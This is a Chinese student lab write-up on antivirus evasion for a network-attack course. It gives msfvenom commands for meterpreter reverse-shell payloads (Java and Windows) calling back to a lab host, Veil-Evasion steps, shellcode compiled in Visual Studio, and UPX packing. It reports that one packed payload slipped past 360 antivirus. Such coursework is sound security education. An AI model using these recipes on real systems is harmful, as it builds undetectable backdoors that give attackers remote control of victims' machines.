zoukankan      html  css  js  c++  java
  • 20155217《网络对抗》Exp03 免杀原理与实践

    20155217《网络对抗》Exp03 免杀原理与实践

    实践内容

    1. 正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧。
    2. 通过组合应用各种技术实现恶意代码免杀(如果成功实现了免杀的,简单语言描述原理,不要截图。与杀软共生的结果验证要截图)。
    3. 用另一电脑实测,在杀软开启的情况下,可运行并回连成功,注明电脑的杀软名称与版本。

    正确使用msf编码器,msfvenom生成如jar之类的其他文件,veil-evasion,自己利用shellcode编程等免杀工具或技巧

    • 首先先把上次的后门放在virscan.org上检测一下(有些需要重命名才能检测)。

    • 发现查杀率还是比较高的。
    • 尝试使用msf进行多次编码,发现编码次数再多,也没什么实质性的变化,均不能实现免杀。
    • 生成jarmsfvenom -p java/meterpreter/reverse_tcp lhost=192.168.199.137 lport=5217 x> ydshell.jar
    • 下载并安装veil-evasion。这个过程出现的各种错误让人崩溃= =,这里推荐安装教程使用教程!是亲亲杜可欣同学推荐的,用过的人都说好!

    • 打开tools/Veil/,运行Veil.py成功。

    • veil启动后,依次输入:
    1. use python/meterpreter/rev_tcp
    2. set LHOST 192.168.199.137
    3. set LPORT 5217
    4. generate
    5. Please enter the base name for output files (default is 'payload'):veil5217
    6. 选择1
    • 发现并不能生成Python语言的可执行文件QAQ。

    • 于是和很多同学一样,换了一个语言use c/meterpreter/rev_tcp.py,重复上面的操作,发现很是ok,可以生成可执行文件啦。

    • 把Veil生成的小程序放在Win10下,被马上发现了= =。

    • 再把它放在网站上扫描一下,结果...唉。

    利用shellcode编程实现免杀

    • 首先关闭win10防火墙和杀毒软件,ping通,可以回连成功。

    • 使用msf生成一个C语言格式的shellcodemsfvenom -p windows/meterpreter/reverse_tcp LHOST=192.168.199.137 LPORT=5217 -f

    • 尝试使用交叉编译,但结果无法运行。

    • 在win10中下载VS并安装,选择桌面C++开发,继续安装。
    • 把shellcode写成c文件,编译生成的exe文件存放在Debug文件夹里。

    • 尝试回连,成功。

    • 生成的exe文件放在网站上检测一下(竟然只是警惕而已哎)。

    通过组合应用各种技术实现恶意代码免杀

    • 压缩壳UPX压缩VS生成的exe文件upx 5217shellcode.exe -o 5217shellcode.upxed.exe

    • 加壳后查杀率竟然提高了!!等等,这不就是传说中的画蛇添足了嘛,摆明了告诉人家:我是穿了壳的恶意代码,不要来查杀我哦!
    • 此时打开了我的360杀毒以及安全管家,立马被清除了= = 。
    • 说明 shellcode Vs编译+压缩壳实现不了免杀。
    • 于是我尝试了对在Veil下产生的exe文件进行压缩壳操作。

    • 360杀毒竟然没有发现!稀里糊涂莫名其妙地实现了免杀??

    基础问题回答

    • 杀软是如何检测出恶意代码的?

    分析恶意程序的行为特征,分析其代码流将其性质归类于恶意代码。

    • 免杀是做什么?

    使恶意代码避免被查杀,也就是要掩盖恶意代码的特征。

    • 免杀的基本方法有哪些?
    1. 二进制的免杀(无源码),只能通过通过修改asm代码/二进制数据/其他数据来完成免杀。
    2. 有源码的免杀,可以通过修改源代码来完成免杀,也可以结合二进制免杀的技术。

    离实战还缺些什么技术或步骤?

    现在每台计算机都至少装有一个防火墙或杀毒软件进行定期的查杀清理,成功的概率会越来越小。另外,这次实现免杀不具有普适性,说实话,我自己也感到有些不可思议。

    实践总结与体会

    一定要多问同学!一定要多问同学!一定要多问同学!重要的事情说三遍。像这次的免杀方法,少不了同学们的集思广益,还有这次的veil下载安装,如果没有同学的帮助,指不定我还在哪里走着弯路呢!

  • 相关阅读:
    如何查找.NET程序内存不断上涨的原因(CLRProfiler)
    IOS编程浅蓝教程(一)先决条件:开始iOS编程的必要准备
    三十而立,从零开始学ios开发:Hello World!
    【原】使用Cocos2d制作一个类似于魔塔的iPhone游戏第一部分(上)
    用python实现一个socket echo程序 && tcp socket的几个关闭状态
    IOS编程浅蓝教程(二) HelloWrld! 建立你的第一个iPhone应用程序
    如何直接强制客户端刷新.js文件
    (WCF的实现、控制台托管与.net平台的调用)
    关于批量数据更新的问题(C#高性能)
    不容错过的window8 metro UI风格的web资源
  • 原文地址:https://www.cnblogs.com/yangdi0420/p/8734310.html
Copyright © 2011-2022 走看看